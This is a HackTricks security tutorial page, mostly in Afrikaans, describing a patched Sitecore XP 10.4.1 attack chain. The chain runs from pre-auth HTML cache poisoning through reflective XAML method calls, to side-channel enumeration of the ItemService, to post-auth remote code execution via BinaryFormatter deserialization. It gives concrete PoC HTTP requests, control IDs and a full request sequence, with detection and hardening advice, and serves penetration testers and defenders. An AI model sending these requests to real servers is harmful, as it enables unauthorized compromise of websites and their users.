Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 7 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Hierdie bladsy som 'n praktiese aanvalsketting op Sitecore XP 10.4.1 op wat oorskuif van 'n pre‑auth XAML handler na HTML cache poisoning en, via 'n geauthentiseerde UI‑vloei, na RCE deur BinaryFormatter deserialization. Die tegnieke generaliseer na soortgelyke Sitecore-weergawes/komponente en verskaf konkrete primitive om te toets, op te spoor en te versterk.

  • Aangetaste produk (getoets): Sitecore XP 10.4.1 rev. 011628
  • Reggestel in: KB1003667, KB1003734 (Junie/Juli 2025)

Sien ook:

Cache Poisoning and Cache Deception

Deserialization

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

Ingangspunt is die pre‑auth XAML handler wat in web.config geregistreer is:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Toeganklik via:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

Die kontroleboom sluit AjaxScriptManager in, wat, by gebeurtenisversoeke, velde wat deur die aanvaller beheer word lees en reflektief metodes op geteikende kontroles aanroep:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Sleutelwaarneming: die XAML-bladsy bevat 'n XmlControl-instantie (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl stam af van Sitecore.Web.UI.WebControl ('n Sitecore-klas), wat die ReflectionUtil.Filter allow-list (Sitecore.*) deurlaat en sodoende metodes op Sitecore WebControl ontsluit.

Magiese metode vir poisoning:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Omdat ons xmlcontrol:GlobalHeader kan teiken en Sitecore.Web.UI.WebControl-metodes by naam kan aanroep, kry ons 'n pre‑auth arbitrary HtmlCache write primitive.

PoC request (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Aantekeninge:

  • __SOURCE is die clientID van xmlcontrol:GlobalHeader binne Sitecore.Shell.Xaml.WebControl (gewoonlik stabiel soos ctl00_ctl00_ctl05_ctl03 aangesien dit afgelei is van statiese XAML).
  • __PARAMETERS formaat is Method("arg1","arg2").

Wat om te vergiftig: Cache-sleutel konstruksie

Tipiese HtmlCache sleutel-konstruksie wat deur Sitecore controls gebruik word:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

Voorbeeld targeted poisoning vir 'n bekende sublayout:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Enumerering van cacheable components en “vary by” dimensies

As die ItemService anoniem (mis)blootgestel is, kan jy cacheable components opnoem om presiese sleutels af te lei.

Vinnige probe:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

Lys van cachebare items en vlae:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Kyk na velde soos Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Toestelname kan geënumeer word via:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration under restricted identities (CVE-2025-53694)

Selfs wanneer ItemService 'n beperkte account naboots (bv. ServicesAPI) en returns an empty Results array, kan TotalCount steeds pre‑ACL Solr hits weerspieël. Jy kan brute‑force item groups/ids met wildcards doen en kyk hoe TotalCount konvergeer om interne inhoud en toestelle in kaart te bring:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)

Sink:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Toeganklik via die convertToRuntimeHtml pipeline-stap ConvertWebControls, wat na 'n element met id {iframeId}_inner soek, dit base64 decodeer + deserialiseer en dan die resulterende string in die HTML invoeg:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Trigger (geauthentiseer, Content Editor-regte). Die FixHtml-dialoog roep convertToRuntimeHtml aan. End‑to‑end sonder UI-klikke:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Gadget generation: gebruik ysoserial.net / YSoNet met BinaryFormatter om 'n base64 payload te produseer wat 'n string teruggee. Die string se inhoud word in die HTML geskryf deur ConvertWebControls nadat deserialiserings‑side‑effekte uitgevoer is.

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Volledige ketting

  1. Pre‑auth aanvaller vergiftig HtmlCache met arbitraire HTML deur reflectief WebControl.AddToCache aan te roep via XAML AjaxScriptManager.
  2. Die vergiftigde HTML bedien JavaScript wat 'n geauthentiseerde Content Editor‑gebruiker deur die FixHtml‑vloei aanspoor.
  3. Die FixHtml‑blad aktiveer convertToRuntimeHtml → ConvertWebControls, wat die deur die aanvaller beheerde base64 met BinaryFormatter deserialiseer → RCE onder die Sitecore app pool‑identiteit.

Opsporing

  • Pre‑auth XAML: versoeke na /-/xaml/Sitecore.Shell.Xaml.WebControl met __ISEVENT=1, verdagte __SOURCE en __PARAMETERS=AddToCache(...).
  • ItemService‑sondeering: pieke van /sitecore/api/ssc wildcard‑navrae, groot TotalCount met leë Results.
  • Deserialiseringspogings: EditHtml.aspx gevolg deur FixHtml.aspx?hdl=... en abnormaal groot base64 in HTML‑velde.

Verharding

  • Pas Sitecore‑patches KB1003667 en KB1003734 toe; beperk/deaktiveer pre‑auth XAML handlers of voeg streng validering by; moniteer en beperk versoektempo na /-/xaml/.
  • Verwyder/vervang BinaryFormatter; beperk toegang tot convertToRuntimeHtml of handhaaf sterk bediener‑kant validering van HTML‑redigeer vloei.
  • Beperk toegang tot /sitecore/api/ssc tot loopback of geauthentiseerde rolle; vermy impersonation‑patrone wat leak TotalCount‑gebaseerde side channels.
  • Handhaaf MFA/least privilege vir Content Editor‑gebruikers; hersien CSP om die impak van JS‑sturing deur cache poisoning te verminder.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks